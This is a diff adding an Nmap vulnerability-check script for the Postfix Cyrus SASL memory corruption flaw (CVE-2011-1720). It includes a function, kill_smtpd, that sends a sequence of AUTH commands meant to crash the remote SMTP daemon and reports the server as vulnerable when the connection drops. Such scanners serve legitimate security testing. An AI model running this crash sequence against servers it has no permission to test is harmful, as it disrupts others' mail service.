diff options
Diffstat (limited to 'scripts/smtp-vuln-cve2011-1720.nse')
-rw-r--r-- | scripts/smtp-vuln-cve2011-1720.nse | 285 |
1 files changed, 285 insertions, 0 deletions
diff --git a/scripts/smtp-vuln-cve2011-1720.nse b/scripts/smtp-vuln-cve2011-1720.nse new file mode 100644 index 0000000..3140249 --- /dev/null +++ b/scripts/smtp-vuln-cve2011-1720.nse @@ -0,0 +1,285 @@ +local shortport = require "shortport" +local smtp = require "smtp" +local stdnse = require "stdnse" +local string = require "string" +local stringaux = require "stringaux" +local table = require "table" +local vulns = require "vulns" + +description = [[ +Checks for a memory corruption in the Postfix SMTP server when it uses +Cyrus SASL library authentication mechanisms (CVE-2011-1720). This +vulnerability can allow denial of service and possibly remote code +execution. + +Reference: +* http://www.postfix.org/CVE-2011-1720.html +]] + +--- +-- @usage +-- nmap --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=<domain>' -pT:25,465,587 <host> +-- +-- @output +-- PORT STATE SERVICE +-- 25/tcp open smtp +-- | smtp-vuln-cve2011-1720: +-- | VULNERABLE: +-- | Postfix SMTP server Cyrus SASL Memory Corruption +-- | State: VULNERABLE +-- | IDs: CVE:CVE-2011-1720 BID:47778 +-- | Description: +-- | The Postfix SMTP server is vulnerable to a memory corruption vulnerability +-- | when the Cyrus SASL library is used with authentication mechanisms other +-- | than PLAIN and LOGIN. +-- | Disclosure date: 2011-05-08 +-- | Check results: +-- | AUTH tests: CRAM-MD5 NTLM +-- | Extra information: +-- | Available AUTH MECHANISMS: CRAM-MD5 DIGEST-MD5 NTLM PLAIN LOGIN +-- | References: +-- | http://www.postfix.org/CVE-2011-1720.html +-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1720 +-- |_ https://www.securityfocus.com/bid/47778 + +author = "Djalal Harouni" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"intrusive", "vuln"} + + +portrule = shortport.port_or_service({25, 465, 587}, + {"smtp", "smtps", "submission"}) + +local AUTH_VULN = { + -- AUTH MECHANISM + -- killby: a table of mechanisms that can corrupt and + -- overwrite the AUTH MECHANISM data structure. + -- probe: max number of probes for each test + ["CRAM-MD5"] = { + killby = {["DIGEST-MD5"] = {probe = 1}} + }, + ["DIGEST-MD5"] = { + killby = {} + }, + ["EXTERNAL"] = { + killby = {} + }, + ["GSSAPI"] = { + killby = {} + }, + ["KERBEROS_V4"] = { + killby = {} + }, + ["NTLM"] = { + killby = {["DIGEST-MD5"] = {probe = 2}} + }, + ["OTP"] = { + killby = {} + }, + ["PASSDSS-3DES-1"] = { + killby = {} + }, + ["SRP"] = { + killby = {} + }, +} + +-- parse and check the authentication mechanisms. +-- This function will save the vulnerable auth mechanisms in +-- the auth_mlist table, and returns all the available auth +-- mechanisms as a string. +local function chk_auth_mechanisms(ehlo_res, auth_mlist) + local mlist = smtp.get_auth_mech(ehlo_res) + + if mlist then + for _, mech in ipairs(mlist) do + if AUTH_VULN[mech] then + auth_mlist[mech] = mech + end + end + return table.concat(mlist, " ") + end + return "" +end + +-- Close any remaining connection +local function smtp_finish(socket, status, err) + if socket then + smtp.quit(socket) + end + return status, err +end + +-- Tries to kill the smtpd server +-- Returns true, true if the smtpd was killed +local function kill_smtpd(socket, mech, mkill) + local killed, ret = false + local status, response = smtp.query(socket, "AUTH", + string.format("%s", mech)) + if not status then + return status, response + end + + status, ret = smtp.check_reply("AUTH", response) + if not status then + return smtp_finish(socket, status, ret) + end + + -- abort authentication + smtp.query(socket, "*") + + status, response = smtp.query(socket, "AUTH", + string.format("%s", mkill)) + if status then + -- abort the last AUTH command. + status, response = smtp.query(socket, "*") + end + + if not status then + if string.match(response, "connection closed") then + killed = true + else + return status, response + end + end + + return true, killed +end + +-- Checks if the SMTP server is vulnerable to CVE-2011-1720 +-- Postfix Cyrus SASL authentication memory corruption +-- http://www.postfix.org/CVE-2011-1720.html +local function check_smtpd(smtp_opts) + local socket, ret = smtp.connect(smtp_opts.host, + smtp_opts.port, + {ssl = false, + recv_before = true, + lines = 1}) + + if not socket then + return socket, ret + end + + local status, response = smtp.ehlo(socket, smtp_opts.domain) + if not status then + return status, response + end + + local starttls = false + local auth_mech_list, auth_mech_str = {}, "" + + -- parse server response + for _, line in pairs(stringaux.strsplit("\r?\n", response)) do + if not next(auth_mech_list) then + auth_mech_str = chk_auth_mechanisms(line, auth_mech_list) + end + + if not starttls then + starttls = line:match("STARTTLS") + end + end + + -- fallback to STARTTLS to get the auth mechanisms + if not next(auth_mech_list) and smtp_opts.port.number ~= 25 and + starttls then + + status, response = smtp.starttls(socket) + if not status then + return status, response + end + + status, response = smtp.ehlo(socket, smtp_opts.domain) + if not status then + return status, response + end + + for _, line in pairs(stringaux.strsplit("\r?\n", response)) do + if not next(auth_mech_list) then + auth_mech_str = chk_auth_mechanisms(line, auth_mech_list) + end + end + end + + local vuln = smtp_opts.vuln + vuln.check_results = {} + if (#auth_mech_str > 0) then + vuln.extra_info = {} + table.insert(vuln.extra_info, + string.format("Available AUTH MECHANISMS: %s", auth_mech_str)) + + -- maybe vulnerable + if next(auth_mech_list) then + local auth_tests = {} + + for mech in pairs(auth_mech_list) do + for mkill in pairs(AUTH_VULN[mech].killby) do + + if auth_mech_list[mkill] then + auth_tests[#auth_tests+1] = mech + + local probe = AUTH_VULN[mech].killby[mkill].probe + + for p = 1, probe do + status, ret = kill_smtpd(socket, mech, mkill) + if not status then + return smtp_finish(nil, status, ret) + end + + if ret then + vuln.state = vulns.STATE.VULN + table.insert(vuln.check_results, + string.format("AUTH tests: %s", table.concat(auth_tests, " "))) + table.insert(vuln.check_results, + string.format("VULNERABLE (%s => %s)", mech, mkill)) + return smtp_finish(nil, true) + end + + end + + end + + end + end + + table.insert(vuln.check_results, string.format("AUTH tests: %s", + table.concat(auth_tests, " "))) + end + else + stdnse.debug2("Authentication is not available") + table.insert(vuln.check_results, "Authentication is not available") + end + + vuln.state = vulns.STATE.NOT_VULN + return smtp_finish(socket, true) +end + +action = function(host, port) + local smtp_opts = { + host = host, + port = port, + domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or + smtp.get_domain(host), + vuln = { + title = 'Postfix SMTP server Cyrus SASL Memory Corruption', + IDS = {CVE = 'CVE-2011-1720', BID = '47778'}, + description = [[ +The Postfix SMTP server is vulnerable to a memory corruption vulnerability +when the Cyrus SASL library is used with authentication mechanisms other +than PLAIN and LOGIN.]], + references = { + 'http://www.postfix.org/CVE-2011-1720.html', + }, + dates = { + disclosure = {year = '2011', month = '05', day = '08'}, + }, + }, + } + + local report = vulns.Report:new(SCRIPT_NAME, host, port) + local status, err = check_smtpd(smtp_opts) + if not status then + stdnse.debug1("%s", err) + return nil + end + return report:make_output(smtp_opts.vuln) +end |